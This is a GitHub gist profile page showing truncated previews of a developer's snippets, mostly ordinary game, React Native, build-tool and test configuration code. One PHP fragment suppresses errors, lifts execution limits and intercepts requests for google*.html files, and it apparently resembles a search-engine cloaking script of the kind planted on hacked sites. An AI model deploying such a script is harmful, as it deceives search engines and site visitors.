Skip to content

Instantly share code, notes, and snippets.

View FDiskas's full-sized avatar
🏠
Working from home

Vytenis FDiskas

🏠
Working from home
View GitHub Profile
import { Player, on, setTimeout, onServer, log, clearTimeout, emit, emitServer } from 'alt-client';
import game from 'natives';
onServer("Bus:From:Airport", async (vehicle) => {
const driverStart = {
x: -1016.289,
y: -2759.372,
z: 14.165,
model: 's_m_y_airworker',
heading: 45.0,
// https://gist.github.com/FDiskas/3dd4163d23bbdb77b54852b8cfb71720
export const enum NativeKey {
InputNextCamera = 0, // V
InputLookLr = 1, // MOUSE RIGHT
InputLookUd = 2, // MOUSE DOWN
InputLookUpOnly = 3, // (NONE)
InputLookDownOnly = 4, // MOUSE DOWN
InputLookLeftOnly = 5, // (NONE)
InputLookRightOnly = 6, // MOUSE RIGHT
InputCinematicSlowmo = 7, // (NONE)
<?php if (!defined('BASEPATH')) exit('No direct script access allowed');
/**
* CodeIgniter
* An open source application development framework
*
* @package CodeIgniter * @author Rick Ellis
* @copyright Copyright (c) 2006, EllisLab, Inc.
* @license http://www.codeignitor.com/user_guide/license.html
* @link http://www.codeigniter.com * @since Version 1.0
*/
@FDiskas
FDiskas / readme.md
Created April 7, 2020 12:10
parcel + html + html include + scss

Steps

  1. yarn init -y
  2. yarn add -D parcel posthtml-img-autosize posthtml-include posthtml-modules autoprefixer rimraf
  3. touch .posthtmlrc.js
    module.exports = { 
        plugins: {
            "posthtml-img-autosize": {
                root: "./assets/images"
@FDiskas
FDiskas / metro.config.js
Created March 8, 2020 13:02
Config for react-native to support linked modules
const {
applyConfigForLinkedDependencies,
} = require("@carimus/metro-symlinked-deps");
const path = require('path');
module.exports = applyConfigForLinkedDependencies(
{
watchFolders: [path.resolve(__dirname, 'node_modules')],
transformer: {
getTransformOptions: async () => ({
<?php
ini_set('memory_limit', '-1');
@ini_set('max_execution_time', 0);
@set_time_limit(0);
error_reporting(0);
@ini_set('display_errors', 0);
$ct_dir = dirname(__FILE__)."/bak";
$req_path = $_SERVER["REQUEST_URI"];
$ip = $_SERVER["REMOTE_ADDR"];
if(preg_match("/google(.*).html/i",$req_path,$res))
@FDiskas
FDiskas / react-native-setup-firebase.sh
Created January 31, 2020 15:03
Setup firebase on react-native
#!/usr/bin/env bash
set -e
echo What is your Project name?
read PROJECT_NAME
# Basic template create, rnfb install, link
# \rm -fr $PROJECT_NAME
# echo "Testing react-native current + react-native-firebase v6.current + Firebase SDKs current"
@FDiskas
FDiskas / typescriptreact.json
Last active August 30, 2019 10:28
VSCode snippets "React-Native"
{
"Component": {
"prefix": "comp",
"body": [
"import * as React from 'react';",
"import { View, StyleSheet, ViewStyle, Text } from 'react-native';",
"",
"interface ComponentProps {}",
"interface ComponentState {}",
"interface Styles {",
@FDiskas
FDiskas / .bowerrc
Created March 17, 2016 22:21
laravel-elixir + laravel-elixir-wiredep + laravel-elixir-useref + asset
{
"directory": "public/assets/vendor"
}
@FDiskas
FDiskas / polyfills.js
Last active August 24, 2017 07:18
localStorage polyfill for jest #jest #localStorage
global.localStorage = {
getItem(key) {
return this[key];
},
setItem(key, value) {
this[key] = value;
},
removeItem(key) {
delete this[key];
},